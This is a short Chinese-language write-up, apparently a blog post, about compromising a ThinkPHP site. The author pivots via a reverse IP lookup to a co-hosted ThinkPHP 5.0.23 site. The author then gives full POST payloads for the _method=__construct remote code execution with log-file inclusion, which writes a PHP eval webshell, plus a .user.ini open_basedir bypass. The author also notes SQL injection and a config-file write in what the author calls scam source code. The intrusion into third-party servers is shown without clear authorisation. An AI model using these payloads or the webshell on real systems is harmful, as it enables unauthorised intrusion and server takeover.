最近朋友发了个站叫我看看,打开一看,发现是TP3.2.3开发的,
本想直接利用tp3可以直接查看runtime日志来获取他的后台账号密码的,
发现并没有开启debug模式,所以无法查看到日志信息。
随便注册了一个账号进去,看有没有注入,无果。
对这个站进行信息收集,进行同ip的反查,发现7个地址。
每个域名又是不同的源码发开的,发现一个thinkphp5.0.23的网站,可以利用rce
发现无法直接执行代码,需要利用runtime日志或者session来进行文件包含获取shell,这里利用runtime日志来进行文件包含getshell,先写入日志。
利用日志进行包含,post发送:
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();
写入shell:
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&c=fputs(fopen('x.php','w'),'<?php eval($_POST[c]);?>');
成功getshell,由于是宝塔搭建的,无法访问其他路径,这里可以在新的文件上传一个.user.ini,再在这个文件上传一个一句话,就能成功访问其他目录了,.user.ini内容为:
open=basedir=
重新尝试访问www目录,成功
这样就成功拿下主站的权限的,发现主站的代码,fofa查了下,有很多使用这套诈骗源码开发的,就下载了下来审计了下。
发现前台sql注入,没有任何过滤
由于需要开启debug模式才会生效
这个诈骗源码太多注入了,就不看其他的了,全局查找file_put_contents,发现后台可以写入配置文件getshell
他明明都使用了var_export函数,却要添加一个stripslashes去掉转义符,构造如下payload
访问文件,成功写入phpinfo